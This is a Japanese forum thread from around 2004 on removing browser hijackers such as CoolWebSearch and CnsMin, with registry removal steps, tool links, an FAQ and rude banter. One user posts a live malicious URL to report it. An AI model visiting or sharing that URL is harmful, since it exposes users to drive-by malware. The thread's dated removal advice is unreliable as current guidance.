エロサイト見たら・・・助けて下さい！Part39

エロサイトに限らずWEBを見て回ってたらブラウザ乗っ取られて大変なことに…
いったいどうしたらいいの？って人のためのスレッドです。

▼━質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ E-mail欄(省略可) には何も記入しないこと。(ID出す→偽者対策・質問者の区別)
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ 他のスレから誘導された場合は、その旨書く。(マルチポストとの区別)
　・ OSの種類、ブラウザ、セキュ関係ソフトの有無、実行結果を報告。（特にOSの種類）
　・ まず、テンプレサイト（http://haiiro.info/my/text/template.html）を必ず読む。
　・ テンプレサイトの補足（>>2-10あたり）を必ず読む。

▼━回答者の方へ ━━━━━━━━━━━━━━━━━━━━
　・ テンプレの方法を実行せずに質問する人は、徹底放置して下さい。
　・ 出された指示を実行せずにレスする人は、徹底放置して下さい。
　・ HijackThisの分析から嘘が判明した場合は、徹底放置して下さい。
　・ 放置ができない回答者は、質問者が自作自演していると見なされます。

▼━禁止事項 ━━━━━━━━━━━━━━━━━━━
　・ マルチポスト(複数の板・スレで同じことを質問)
　・ 情報の小出し(始めにOSやソフト名等を必ず明示)
　・ 違法な話題や質問(WinMX,Winny,エミュレータ等)
　・ 天麩羅屋　&　薮パソユーザーは立ち入り禁止。HNを変えてもダメです。
　・ Opera房立ち入り禁止。HNを変えてもダメです。またその話題も違法です。

質問する前に

1) 　IEのホーム、検索ページを標準に戻す→ツール→インターネットオプション→
　　 プログラム→WEB設定のリセット
　　※WEB設定のリセットは、こまめに実行しましょう（無限ループ防止の為）　

2）　IEの履歴削除→ツール→インターネットオプション→全般→インターネット
　　 一時ファイル→クッキーの削除+ファイルの削除

3)　 削除したいファイルがあるが「アクセスできません。使用中です」等といわれて
　　 削除できない→セーフモード（F8を連打）でOSを起動→削除→OS再起動

4) 　勝手に追加されたアプリをアンインストする→スタート→コントロールパネル→
　 　 アプリケーションの追加と削除→OS再起動

※コントロールパネルからアンインストールしなければならない主なもの
CnsMin（Jwordとかで使われてるスパイウェア）
http://higaitaisaku.web.infoseek.co.jp/removecnsmin.html
その他のコントロールパネルからアンインストールできる主なもの
http://higaitaisaku.web.infoseek.co.jp/uninstallinfo.html

※コントロールパネルからアンインストールしてはならないもの
Home Search Assistant、Shopping Wizard、Search Extender
という名前のものがコントロールパネルのアプリケーションにある場合。

5) アンチウィルスソフトでウィルスを除去。
　　 アンチウィルスソフトを持っていない場合は、オンラインスキャンを必ず行なって除去する事。

主なアンチウィルスソフトのサポート終了一覧
Symantec（Norton）
http://service1.symantec.com/SUPPORT/INTER/japanesecustserv.nsf/jdocid/20030919114134945?Open&src=&docid=20040206144851945&nsf=SUPPORT%5CINTER%5Cjapanesecustserv.nsf&view=jdocid&dtype=&prod=&ver=&osv=&osv_lvl=
TrendMicro（ウィルスバスター）
http://www.trendmicro.com/jp/support/old-versions/old-versions/products/vb.htm

トレンドマイクロオンラインスキャン
http://www.trendmicro.co.jp/hcall/index.asp
シマンテックセキュリティチェック
http://security.symantec.com/sscv6/home.asp?productid=symhome&langid=jp&venid=sym&close_parent=true&bhcp=1
Panda Active Scan
http://www.pandasoftware.com/activescan/jp/activescan_principal.htm

6) 　ブラウザジャッカーCoolWebSearch駆除ツール　CoolWebShredderをDL
http://www.richardthelionhearted.com/?url=merijn.richardthelionhearted.com

7）　定番スパイウェア除去ソフト、Ad-awareSEとSpybotS&Dを使って除去。

Ad-awareSE　http://lavasoft.element5.com/default.shtml.ja
Ad-awareSE日本語化パッチhttp://bdc.s15.xrea.com/index.php?option=com_remository&Itemid=59&func=fileinfo&parent=folder&filecatid=9

SpybotS&D　http://www.safer-networking.org/
Spybot1.3によるスパイウェアの除去方法
http://higaitaisaku.web.infoseek.co.jp/spybot2.html

8）　Me/XPの場合「システムの復元」で正常な状態に復帰させる方法もあります。
　　　［スタート］→［すべてのプログラム］→［アクセサリ］→［システム ツール］→［システムの復元］

9)　 既出ですよQ&A（個別のスパイウェア駆除方法）

About:blankの対処法
最初にここを見て駆除
ttp://higaitaisaku.web.infoseek.co.jp/removeaboutblank.html
再発する場合には、ここを見て該当ファイルを駆除
http://higaitaisaku.web.infoseek.co.jp/cgi-bin/cbbs.cgi?mode=one&namber=4058&type=0&space=0&no=2

CoolWebSearchの除去方法
ttp://higaitaisaku.web.infoseek.co.jp/removecws.html
CnsMinの除去方法
ttp://higaitaisaku.web.infoseek.co.jp/removecnsmin.html
Gator/Gainの除去方法
http://higaitaisaku.web.infoseek.co.jp/removegator.html
C2.lopの除去方法
ttp://higaitaisaku.web.infoseek.co.jp/removelop.html
「英語で変な警告文が出てくるんですけど」という場合
ttp://higaitaisaku.web.infoseek.co.jp/removereg32.html
ttp://higaitaisaku.web.infoseek.co.jp/removecleanser.html
ttp://higaitaisaku.web.infoseek.co.jp/removewasher.html
ホームページが「*****.biz」になる場合
ttp://higaitaisaku.web.infoseek.co.jp/removesearchbiz.html

10）テンプレを全部やったが直らない！
HijackThisのダウンロード
http://www.net-integration.net/tools/hijackthis.html
自動的に診断してくれるページがあるので、ここにログを貼って診断してみる。
http://www.hijackthis.de/index.php?langselect=english

それでも直らない場合は、このスレにHijackThisのログを貼って質問してみて下さい。

>>2-5までのテンプレ内容を、ウィザード方式で解説しているもの
スパイウェア除去ウィザード - 順を追って作業を行うことで問題解決
http://higaitaisaku.web.infoseek.co.jp/removewz01.html
テンプレのやる順番がわからない場合、順を追って作業していきたい場合は
このスパイウェア除去ウィザードに従って作業してみてください。

《その他リンク集》
■アダルトサイト被害対策の部屋
　http://higaitaisaku.web.infoseek.co.jp/
■WEB110[インターネットの犯罪・被害]追跡調査
　http://www.web110.com/
■アダルトサイトは安全？危険？
　http://www.kitanet.ne.jp/~ababu/sexy/index.html
■えっと驚く前に―国際電話･Q2からの事前防御策―
　http://www3.plala.or.jp/hiro-mg3920/tel.html
■アダルトサイト対策の部屋（ネット被害対策室）
　http://www002.upp.so-net.ne.jp/dalk/higai24.html
■このスレのテンプレの「まとめサイト」
　http://haiiro.info/my/text/template.html
■国際電話・ダイヤルQ2関連
　http://www.ntt-east.co.jp/q2/　NTT東日本 ダイヤルQ2サービス
　http://www.ntt-west.co.jp/q2/　NTT西日本 ダイヤルQ2サービス
　ダイヤルQ2接続チェックプログラムもここからダウンロードできます。
　http://www.emurasoft.com/jp/chintcal/index.htm　　 　　　No! 国際電話
　http://mitsu98.fc2web.com/bbs/index2.html　　　　　　　　　Dial Saver
　http://www.kddi.com/topics/atx/image.html　　　　　　　　　ダイヤルアップチェッカー
■バナー・ブラクラ対策
　http://homepage3.nifty.com/hayazo/myprg.html　　　　　ClosePopup
　http://www.proxomitron.org/　　　　　　　　　　 　　　　　　 Proxomitron（公式サイト）
　http://www.pluto.dti.ne.jp/~tengu/proxomitron/　　　　　　 Proxomitron（日本語解説）

《過去ログ》
Part38　http://pc6.2ch.net/test/read.cgi/pcqa/1093140773/　（前スレ）
Part37　http://pc6.2ch.net/test/read.cgi/pcqa/1092133896/　
Part36　http://pc6.2ch.net/test/read.cgi/pcqa/1091521211/
Part35　http://pc6.2ch.net/test/read.cgi/pcqa/1091090092/
Part34　http://pc6.2ch.net/test/read.cgi/pcqa/1090822781/
Part33　http://pc6.2ch.net/test/read.cgi/pcqa/1090357530/
Part32　http://pc6.2ch.net/test/read.cgi/pcqa/1089908314/
Part31　http://pc6.2ch.net/test/read.cgi/pcqa/1088914336/
Part30　http://pc6.2ch.net/test/read.cgi/pcqa/1088339685/
Part29　http://pc6.2ch.net/test/read.cgi/pcqa/1087573951/
Part28　http://pc6.2ch.net/test/read.cgi/pcqa/1086932629/
Part27　http://pc6.2ch.net/test/read.cgi/pcqa/1086459144/
Part26　http://pc6.2ch.net/test/read.cgi/pcqa/1085884342/
Part25　http://pc5.2ch.net/test/read.cgi/pcqa/1085408554/
Part24　http://pc5.2ch.net/test/read.cgi/pcqa/1084800180/
Part23　http://pc5.2ch.net/test/read.cgi/pcqa/1083768109/
Part22　http://pc5.2ch.net/test/read.cgi/pcqa/1083241874/
Part21　http://pc5.2ch.net/test/read.cgi/pcqa/1082454987/

Part20　http://pc5.2ch.net/test/read.cgi/pcqa/1081541559/
Part19　http://pc5.2ch.net/test/read.cgi/pcqa/1079883028/
Part18　http://pc2.2ch.net/test/read.cgi/pcqa/1077184761/
Part17　http://pc2.2ch.net/test/read.cgi/pcqa/1074003703/
Part16　http://pc5.2ch.net/pcqa/kako/1070/10709/1070987138.html
Part15　http://pc5.2ch.net/pcqa/kako/1067/10676/1067657959.html
Part14　http://pc5.2ch.net/pcqa/kako/1063/10634/1063426852.html
Part13　http://pc5.2ch.net/pcqa/kako/1057/10575/1057575418.html
Part12　http://pc5.2ch.net/pcqa/kako/1052/10529/1052909722.html
Part11　http://pc5.2ch.net/pcqa/kako/1047/10473/1047359426.html
Part10　http://pc5.2ch.net/pcqa/kako/1043/10439/1043963296.html
Part9　 http://pc5.2ch.net/pcqa/kako/1041/10415/1041587359.html
Part8　 http://pc.2ch.net/pcqa/kako/1038/10380/1038097140.html
Part7　 http://pc.2ch.net/pcqa/kako/1035/10351/1035125416.html
Part6　 http://pc.2ch.net/pcqa/kako/1031/10313/1031391849.html
Part5　 http://pc.2ch.net/pcqa/kako/1027/10273/1027339934.html
Part4　 http://pc.2ch.net/pcqa/kako/1022/10228/1022827947.html
Part3　 http://pc.2ch.net/pcqa/kako/1019/10191/1019182804.html
Part2　 http://pc.2ch.net/pcqa/kako/1016/10168/1016896969.html
Part1　 http://pc.2ch.net/pcqa/kako/988/988993220.html

-----------------------テンプレここまで-----------------------

補足：スレ立て時点の各アンチスパイウェアソフトのバージョン

CWShredder　　　　1.59.1
Spybot S&D 1.3　　2004/08/20
Ad-awareSE　　　　SE1R5 22.08.2004
HijackThis　　　　　1.98.2

※必ず最新の定義、最新のソフトにしてからスキャン・駆除しましょう。
古い定義、古いソフトでスキャン・駆除しても無意味です。

( ´,_･･｀)ﾌﾝｯ スレ立てヘタクソ

■流行中のハイジャッカー対策　about:blank、search for型

症状：IEのホームページの設定がabout:blank(空白)であるにもかかわらず、CoolWebSearch系
のsearchexe.comや、search for…と表示されるサイトに飛ばされる。
「被害対策」に詳しい専用ページ↓があるが、詳しすぎて初心者は息切れしそうなのでｗ
「解説の解説」をしておく。http://higaitaisaku.web.infoseek.co.jp/removeaboutblank.html

「レジストリのAppInit_dllsという値の削除」と、「悪サイトの画面のソースコードを解読して
悪ファイル本体を探す」というのがポイント。

１　《応急処置》>>2をまず実行。特にWEB設定のリセットを確実に。
２　レジストリのAppInit_dllsキーの削除→ここには悪以外存在しないので問答無用で削除。
　キー名称：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
　レジストリエディタでこのキーを開く。右側窓でAppInit_dllsを選択、削除。もし削除が拒否
　されたときは、左側窓で\Windowsというキー名称をWindows2などに変更してからAppInit_dlls
　を削除→Windows2を元のWindowsに戻す→Windows再起動
　詳しいことは→　http://higaitaisaku.web.infoseek.co.jp/appinitdlls.html
３　about:blankで「Search For...」に飛ばされる場合、悪ファイルの素性が画面ソースのなかに
　エンコードされているので、解読して削除する。
　方法：Search for画面の適当な場所を右クリック→「ソースの表示」をクリック→
　メモ帳が開く→ <!-- saved from url=res://　エンコードされた文字列>という部分をコピー
（エンコード文字列の例）
　<!-- saved from url=res://%43%3a%5c%57%49%4e%44%4f%57%53%5c%53%59%53%54%45%4d%5c%47%49%4e%43%4e%45%41%2e%44%4c%4c/%73%70%2e%68%74%6d%6c -->　←"<" から ">" までコピーする
　→コピーした文字列をhttp://higaitaisaku.web.infoseek.co.jp/aboutblankdetector.html
　このページに貼り付けてDecode Thisボタンを押して解読→悪ファイルの名称と位置がわかる
　→Windowsをセーフモードで（F8連打して）起動して見つかったファイルを削除する→(ﾟдﾟ)ｳﾏｰ
４　Windowsを再起動、念のため《応急処置》をもう一度実行する。

■流行中のハイジャッカーjksearch.biz対策
★症状：IEのホームページが以下のようなエロ系サーチサイトに固定される。
　　http:// greatsearch.biz/
　　http:// jksearch.biz/redir.php
　　http:// cashsearch.biz/redir.php
　　http:// 213.159.117.130/cgi-bin/index.cgi?c=1
★HijackThisでログを取っても異常が現れない。
★ハイジャッカーの本体はCWSearchの亜種。ただしHijackthisがスキャンしない
レジストリ項目　shellServiceObjectDelayLoadに巣食うので駆除が面倒。
http://higaitaisaku.web.infoseek.co.jp/removesearchbiz.html
被害対策のページ↑は初心者でも確実に駆除できるよう各種ツールを利用しているが、
ここではもう少し簡略な手動駆除方法を紹介。
★感染確認
スタート→ファイル名を指定して実行→regedit
レジストリエディタを起動したら左窓で順次ツリーを開いて以下のキーを開く。
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\shellServiceObjectDelayLoad"
ここに"system"というエントリができていれば感染している。
★駆除方法
1)system エントリのCLSIDの値をメモする。（メモ帳にコピペして.txtファイルで保存しておく）
　（例） System = {362A19F1-EA5D-4733-8292-58DECE98C0BC}　←この｛　｝内の英数字
2)System　項目をレジストリエディタで選択→右クリック→削除。
　HKEY_CLASSES_ROOT\CLSID\にもこの値が登録されているので問題のCLSIDの値で検索し、
　同様に削除。　（左窓でHKEY_CLASSES_ROOT\CLSID\を選択反転→メニュー→編集→検索）
3)Hijackthisでスキャン→R1〜R3 -Internet Explorerのスタートページやサーチページの値→
　後からどうにでもできるから、見覚えないもの、分からないものは全部削除
4）IEのホーム、検索ページを標準に戻す→ツール→インターネットオプション→プログラム→
　WEB設定のリセット　　IEの履歴削除→ツール→インターネットオプション→全般→インターネット
　一時ファイル→クッキーの削除+ファイルの削除→OS再起動
5）本体ファイル↓を削除
　C:\WINDOWS\system32\system32.dll / C:\WINDOWS\system.exe

★ よくある質問とその答え（その１）

Ｑ１：エロサイト見てたら広告がどんどん出るんだけど
Ａ１：Proxomitron使うとかタブブラウザ使うとかしろ。IEでエロサイト見るな。

Ｑ２：ダイヤルＱ２に繋がったらしいんだけど
Ａ２：ダイヤルアップネットワークを開いて接続アイコンを確認しろ。
　　 変なのあったら捨てろ

Ｑ３：何かダウンロードしたみたい
Ａ３：Ｑ２か国際電話の接続ソフトじゃねえのか？ワケも分からずクリックすんな。

Ｑ４：ダイヤルＱ２って何？
Ａ４：情報料のかかるNTTの商品だ。３分100円ぐらい通話料の他に発生する。

Ｑ５：Ｑ２に繋がらないようにしたい
Ａ５：NTTに連絡しろ。116に電話してＱ２使えないようにしてくれって言え。

Ｑ６：なんかどこクリックしても別のサイトに行くんだけど？
Ａ６：騙されてんじゃねえの？騙しで広告クリック稼ぐサイトも多いぞ（ｗ

Ｑ７：何か注意点とかある？
Ａ７：エロサイトなんか見るなよ。トラブルの元だ。

Ｑ８：スタートページとかがエロになった
Ａ８：過去ログ読んでから質問しろ。非常によくある質問だ。

Ｑ９：時計の隣になんか常駐してるんだけど
Ａ９：msconfigで切れ。Win2000なら窓の手つかえ。

>>12を貼ってる奴は、本当に理解して貼ってるか？
ただの天麩羅屋じゃねーの？という訳で一番重要な>>12の続き

（ここから）

５　マイコンピュータからCドライブの[on-line.exe]という文字列を含むファイルを検索。
（「ファイル名を検索」ではないので注意。検索画面で「含まれる文字列」窓にon-line.exeと
入力する）→感染時刻に生成された「ランダム名.chm」があったら名前をメモ→
hoge.chmならhoge.chm.safeにリネームして様子見

６　念のためさらに…
　マイコンピュータからCドライブの*.chmを検索。感染時刻に生成された「ランダム名.chm」が
あったら４と同様、名前をメモ→リネームして様子見

７　Windowsを再起動、《応急処置》をもう一度実行してゴミ掃除

《その他関連スレッド》
コンピュータウィルス総合スレッド VOL.40
http://pc6.2ch.net/test/read.cgi/pcqa/1092168060/
【初心者向】ウイルス対策ソフト質問スレ part3
http://pc6.2ch.net/test/read.cgi/pcqa/1086590699/
■■■■Proxomitron入門スレッド■■■■4
http://pc6.2ch.net/test/read.cgi/pcqa/1083071062/
スパイウェア゛削除゛ソフト「Ad-aware」Part14
http://pc5.2ch.net/test/read.cgi/sec/1092843146/
【雑談禁止】スパイウェア削除ソフトSpybot 15
http://pc5.2ch.net/test/read.cgi/sec/1090594050/
【分析】HijackThis【研究】
http://pc5.2ch.net/test/read.cgi/sec/1091346741/

★ よくある質問とその答え（その２）

Ｑ10: ホームページや検索窓がエロサイトになってしまった！
Ａ10：Internet Explorerの場合：
　　・ツール＞インターネットオプション＞全般＞ホームページ
　　・ツール＞インターネットオプション＞プログラム＞WEBの設定のリセット
　　Netscapeの場合：編集→設定→Navigator→ホームページ

Ｑ11：インターネットオプションで直しても、再起動するとまた戻ってる！
Ａ11：スタート＞ファイル名を指定して実行＞msconfig＞スタートアップの項目に
　　ついてるチェックを全て外して再起動。
　　再起動したら、今度は１つずつチェックを戻していって、エロなホームページ
　　になるかどうかを確認していく。何度も根気強くmsconfigと再起動を繰り返して
　　最終的には最初にチェックを外したやつのほとんどはチェックが戻り、僅かなエ
　　ロサイト関連のものだけチェックが外れた状態になればOK！
　　※Windows95とWindows2000はmsconfigが無いので窓の手を使用するかレジストリの
　　run項目をチェック。これで直ったなら怪しい自動実行プログラムを削除。

Ｑ12：なんか定期的にエロサイトの広告ウインドウが出るんですけど？
Ａ12：まずはＡ10とＡ11を実行。その上でウィルススキャン、Ad-awareでスパイウェ
　　アをスキャン。Ad-Awareは最新版を使うこと。

Ｑ13：検索が英語になった！
Ａ13：インターネットオプション＞全般＞言語＞日本語 を一番上に。

Ｑ14：なんかGoHip!とかって・・・
Ａ14：GoHip!やSecondpower等は専用の削除ツールが配布されている。インターネッ
　　トオプション＞全般＞一時ファイルの設定＞オブジェクトの表示でMicrosoftや
　　ShockWave Flash等信用できるもの以外の怪しげなのは依存関係を見てファイル
　　を削除。

Q11の補足説明

■＝チェック済　□＝チェック無で解説

１：全部チェック外す
□adosh
□ghohga
□mojgoj　　　　　　　　　　　　※症状は出ない

２：１つずつチェック入れていく
■adosh
□ghohga
□mojgoj　　　　　　　　　　　　※症状は出ない

３：１つずつチェック入れていく
■adosh
■ghohga
□mojgoj　　　　　　　　　　　　※症状がｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━!!!!

４：１つずつチェック入れていく
■adosh
■ghohga
■mojgoj　　　　　　　　　　　　※症状が出たまま

５：症状を出すやつが特定出来たので、症状と関係ないもののチェックを戻す
■adosh
□ghohga
■mojgoj

６：終了

いいか、みんな
　　　　　(ﾟдﾟ )
　　　　　(| y　|)

検索するなら
　　　　　( ﾟдﾟ)　Ctrl+F
　　　 　 (|　y |＼/

ｶﾞｲｼｭﾂネタには
　　　　　( ﾟдﾟ)　過去ログ嫁
　　　 　 (|　y |＼/

アンカーもつけてやれば親切だ
　>>7　 ( ﾟдﾟ) 　>>8
　　＼／|　y |＼/

テンプレは>>1-16のどこかにある
　　　　　(ﾟдﾟ )
　　　　　(| y　|)

いい加減まとめサイトの作者は、ページ更新して整理しなおせよ。
ベタベタテンプレが>>1-20とか貼られてるの、うぜーよマジで。
まとめサイトが更新してれば、テンプレ貼る必要もねーんだよボケ

まとめサイトに誘導すると、なぜかスレが荒れるんだよなｗ

>>20
まったくだな。
ちょっとはスパイウェアのこと知ってる漏れでもテンプレ見渡しただけでウンザリしてくるわ。

>>22
実際に重要なのは>>1-5のみという噂もあるｹﾄﾞﾅｰ
>>10-19は天麩羅屋のしわざだろうよ

　・ 天麩羅屋　&　薮パソユーザーは立ち入り禁止。HNを変えてもダメです。
　・ Opera房立ち入り禁止。HNを変えてもダメです。またその話題も違法です。

こんなネタみたいなこと>>1に貼り付けんなよ。初めてみるやつに解るか？自分の視点でしか見れないのかYO!!

　 　, -‐−-､　　ヽ∧∧∧ //　　|
. 　/////_ﾊ ヽ＜ 釣れた！＞　ハ
　 ﾚ//ｊ け ,fjlﾘ　/ ∨∨V ヽ　　h. ﾟl;←>>24＝天麩羅屋
　ﾊｲｲﾄ､"ヮノﾊ　　　　　//　　　|::: ｊ　　｡
　 /⌒ヽヾ'ﾘ、　　　　　// 　 　　ヾ､≦ '
.　{ 　　j｀ｰ' ﾊ 　 　 　//　ヽ∧∧∧∧∧∧∨/
　 ｋ〜'ｌ 　　ﾚﾍ. 　 ,r'ス　＜ 初めてなのに　＞
　 |　ヽ ＼　ト､ ヽ-kヾｿ　＜ 釣れちゃった！＞
.　 l　　＼ ｀ｰ‐ゝ-〈/´　　　/ ∨∨∨∨∨∨ヽ
　　l 　 　 `ー-､___ﾉ
　　ﾊ 　 ´￣｀　〈/‐-､

>>24
あのさー、みんなおまえが天麩羅屋だって分かってるんだよねぇw

　　　　 ／￣￣￣￣＼
　　　 /　　　⌒　　　⌒＼
　　　/　　　　・　　　　・　|
　　　|（６　　　　 つ　　 　|
　　　|　　　　三　|　三 　 |　　／￣￣￣￣￣￣￣￣￣￣
　　　|　　　 ＼＿|＿／　 |　＜ もうお客さん来ないかも
　　　 ＼ 　　　＼__ノ　 ／　　＼＿＿＿＿＿＿＿＿＿＿
　　　／　＼ ＿＿＿／＼
　　│ ∴∵━━○━∴│　　　　　 ＿＿＿＿
───────────── ／∵∴∵∴＼────
　　　　　　　　　　　　　　　　　　 /∵∴／∴∵＼＼
　　　　_｡_　　　　旦~　　　　　　 /∵∴< >∴∴.< >|
　　　c(＿ｱ　　　　　　　　　　　 |∵∵∵／ ●＼∵|
　　　　　　　　　　　　　　　　　　|∵∵ /　　　　　|　|
　　　　　　　　　　　　　　　　　　|∵∵ |　　　　　 |　|
　　　　　　　　　　　　　　　　　　 ＼∵ |　　　　　 |／
　　　　　　　　　　　　　　　　　　　　＼|

お前ら、そんな事言ってるとOpera勧められっぞｗ

>>26
そうやっていつも荒らしてるんだよな？おまえは。まったくヒマなことだ。

>>11-29
以上(･∀･)ｼﾞｻｸｼﾞｴｰﾝでお送りしました

↓何事もなかったかのようにスレ再開↓

自治厨>>30=◆jAUHOUyWyE

テンプレに従って色々やってたのですが
スキャンディスクのチェックをしようと
ローカルディスクをプロパティで開き
ツールからエラーチェックを押したら
｢スキャンディスクが見つかりません。プログラム、ファイルが壊れてるか削除されています。もう一度ウィンドゥズセットナップを実行してインストールしてください｣と表示されました。
これってどうすればいいですか？？
よろしくお願いします。

>>32
スキャンディスクのファイルが削除されてる、壊れてる
＝システムの必要なファイルすら壊れてる、もうどうしようもない状態
俺は素直にリカバリーする事をお勧めするよ。ぬるぽウィルスかなんかか？

>>25
ワロタｗ

>>32
OSが書いてないからわからないが、システムの復元ができるなら
システムの復元を試してみれば？
システムの復元してもダメとか、システム復元できないOSならば
素直にリカバリした方がいいよ。スキャンディスクがないってのは異常。

>>33
レスありがとうございます。
Msbbとかいうスパイだそうです｡
パソコン起動時にフリーズさせてきたりします。
シュレッダーやスパイボッド？もしましたが削除しきれていないようです。
リカバリーとはメールアドレスやダイヤルアップなどの設定を一から行わなくては駄目なんですよね？

>>36
リカバリは、本当に１から全部やり直し。
だから、OSがXPとかMeならまずシステムの復元を試してみろ。

>>36
もちろんそうよ。

天麩羅屋ってだれ？

>>39
知らなくていい去れ。

>>35
レスありがとうございます
OS書くの忘れました、ごめんなさい。
ウィンMeでCompaqのサザンクロスです。
デフラグも同じエラーが表示されました。
買い換えはやりすぎですか？
リカバリだとバックアップ取るのが大変そうですよね？

>>41
おまえ金持ちだな。

>>41
だからMeなら、「システムの復元」で少し前の日付に復元してみろ。
スキャンディスクもデフラグもできないのは、かなり異常な状態だよ。
ウィルスを駆除しても、システムに必要なファイルが揃ってない状態。
全部の復元ポイントを試してもダメなら、仕方ないからリカバリしろ。
（バックアップファイルにウィルスが紛れ込んでる可能性があるから、
バックアップも本当にないと困るもの最小限度にしろ）
買い替えは、ハードディスクが壊れてなければ、しなくて平気だと思う。

>>41
リカバリを喜んでできる人間になれ。
このまま直ったとしても必ず決定的なトラブルに見舞われるぞ。

>>41
XPにしろ

>>2のhttp://higaitaisaku.web.infoseek.co.jp/removecnsmin.htmlを読みインストールして
セーフガードからスキャンしたら、Cns Minが削除できました。
ありがとうございます。

あと、>>410でぼるじょあさんが、
>>DSO ExploitはSpybotのバグだからむっしっし
と、仰ってましたが、このDSO Exploitは無視していいんですね？

>>46
もちろんそうよ。

>>47
ご丁寧にありがとうございます。
あと、最後にお尋ねしたいのですが、部落らのURLを踏んでこのような事態に
なったのですが、やはりカード番号・住所・メールアドレス・リンク先等の
個人情報は流失してしまったのでしょうか？
それが激しく心配なのですが。。。

部落らって言っても種類がいっぱいあるんだ。

>>48
ブラクラでCnsMinがインストールされるなんて聞いた事ないぞ？

>>49
>>50
失礼しました。
私が踏んでしまったのは、

ttp://odin.prohosting.com/khdfyhdj/cgi-bin/omanko.cgi
「 オンラインソースチェッカーによると
※このアドレスは危険URLのひとつです。
注意！アラートオープンを発見！ (1)
危険！ニュースストームを発見！ (1)
危険！Telnetストームを発見！ (1)
だそうだ。やめといたが無難。」

この恐ろしいURLです。
ウイルススキャン・スパイウエアスキャン等7時間掛かってなんとか残り
DSO ExploitはSpybotのみというところまで撃退しました。
しかし、後遺症がないか心配です。

>>51
【悪意あるコード有り。telnet,OE,WMP,RealPlayer等,いろんなメディアが立ち上がる[2003/11/21]】
たぶん、CnsMinは全然関係ないぽ。元々入ってただけじゃねーの？
全く気にしないのはダメだが、気にしすぎもダメぽ。

>>52
>>たぶん、CnsMinは全然関係ないぽ。元々入ってただけじゃねーの？

そうですか。前からだったんですか。
じゃあ個人情報は流れてますね。。。

>>telnet,OE,WMP,RealPlayer等,いろんなメディアが立ち上がる[2003/11/21]

怖いな。
でも、スパイウエアスキャンしてもう大丈夫ですよね。

色々教えて下さってありがとうございます
また昼過ぎたらやってみます！

>>53-54
ちゃんと「CnsMinの除去方法」の解説読んでるか？
>CnsMinは、いわゆる「Browser hijacker」でIEの検索バーの機能を乗っ取るものです。
>機能としては、中国語で検索が行われたときにそれをスパイウェアの作成元に送信します。
個人情報つっても、最悪でも「どんな検索履歴か」ぐらいしか送られてないよ。

そんなに心配なら、感染する前からここのテンプレにあるソフトを入れてまめにスキャンするとか、
セキュリティ板にいくつか紹介されてる予防ソフトとかを入れておけばいいだけじゃん。
予防もしないで、「感染しちゃった、最悪だー」って悔やんだところで、何も解決しないよ。

>>55
>>個人情報つっても、最悪でも「どんな検索履歴か」ぐらいしか送られてないよ。

そうですか、安心しました。
ノートンは入れてあったんですが、スパイウエアは初めてだったのでかなり
ナーバスになっていました。
自分の勉強不足を恥じているところです。
ご丁寧に教えていただき本当にありがとうございました。

あい。

エロ画像って動画とかと違って
保存した後消しても痕跡が残らないよね･･･

なんか、復元とかで履歴が残ったり

>>58
Wipe使わないと諸バレだ。復元も可能。
嫌ならHDD燃やすしかないなｗ

Tempフォルダの中にTemporary Internet Filesフォルダができるのって普通？
最近こうなったみたいなんだけど、設定で変える方法もわからない。
Cookies、HistoryフォルダもTempフォルダの中にできてる。
今までずっとD://Temporary Internet Filesだったんだけどなあ。誰かわかる？

　　　　　　 ,-┐
　,ｨ─､ri´^-─- ､ .┌f^f^f^f^f^f^f^f^f^┐
く　　/ ,　,'　　 ヽ　ヽ|　~ ~ ~ ~ ~ ~ ~ ~ ~│
　`<' / ,'ﾚｲ+tVvヽ!ヽﾄ　知ってるが　　│
　　!/ ,' i |' {］　, [}|ヽﾘ 　>>60の態度が |
　　`!_{ iﾊﾄ､__iﾌ,ノリ,ｎ 　 気に入らない |
　　 ／/ (^~￣￣∃_ア____n＿＿＿＿＿|
　_r''‐〈　 `´ｱ/ﾄr──!,.--'
<＿>─}､　　`」ﾚ
'ヽ､　　 ,.ﾍｰｧtｲ　　質問する時の言葉遣いやルールぐらい読め、デブ
　　 Y､.,___/　 |.|
　 　 |　　i `ｰ'i´

知ってる人、というか俺と同じやついる？

あ、釣りじゃないからさ。エロイ人頼む。

バックアップを取ろうかなと思ったんですがパソコン本体にCDーＲを入れて焼くなんてのはﾑﾘなんですよね？
やっぱりフロッピーなんかじゃなきゃバックアップは取れないんでしょうか？
バックアップ取るのにフロッピーの種類とかはないんでしょうか？教えてちゃんでごめんなさい。今からシステムの復元してみますね。

OSはWindowsXPでIE使用です。

テンプレサイトに飛ぼうとしても、海外のサイトに飛ばされてしまい、大変困っています。

いちおう補足にあった事はすべて試したのですが、履歴を消すことが出来ず、また、ホームページの設定も変えることが出来ません。

『Hardcore TEEN SEX』というものがデスクトップにあり、インストールされてしまっているようです。

IEをしばらく開いているとエラーになり強制終了されてしまいます。

テンプレを読むことが出来ないので、初歩的なものだったら申し訳ないのですが、どなたか助けて下さい…

>>63
エロイ人間はこの板にはいないから、別所で聞いてね。

('・〜・`)ぽれも昔はやられたぽ
ぽれの同郷をよろしく頼むぽ

初心者によるこんな初体験。

http://jbbs.livedoor.com/school/3871/

>>32
sfc /scannowを実行

>>32
Meじゃこれダメだな

>>65
他のブラウザ（Netscapeとか、Operaとか、FireFoxとか）は入ってないの？

2ちゃんには普通に来られるのか？

>>71

入っていないと思います。

>>72

専用ブラウザなら来れますが、IEだとすぐに終了してしまいます。


さきほどの現象に加えて、新たにデスクトップのアイコン、ツールバーなどが拡大する現象が起きました。

再起動してしまったのがいけなかったですかね‥？

>>73
Mozilla FireFoxの直リン置いとくから、これ使ってみて。
http://moz.skillup.jp/archive/firefox/0.9.3/FirefoxSetup-0.9.3-jaJP.exe
このブラウザ使ってもだめぽなら、hostファイルが改変されてるのかもしれない。
ちと症状確認のため、こっちのFireFoxでちゃんとテンプレサイトに行けるかどうか教えて。

>>74

テンプレサイト、行けました！

ありがとうございます。

>>75
なら、それでテンプレの各ソフトをダウンロードして全部実行してみれ。

システムの復元終了しました。
これで完璧にウィルスがいなくなったんでしょうか？？
ｃｗｓｈｒｅｄｄｅｒもしてみましたが
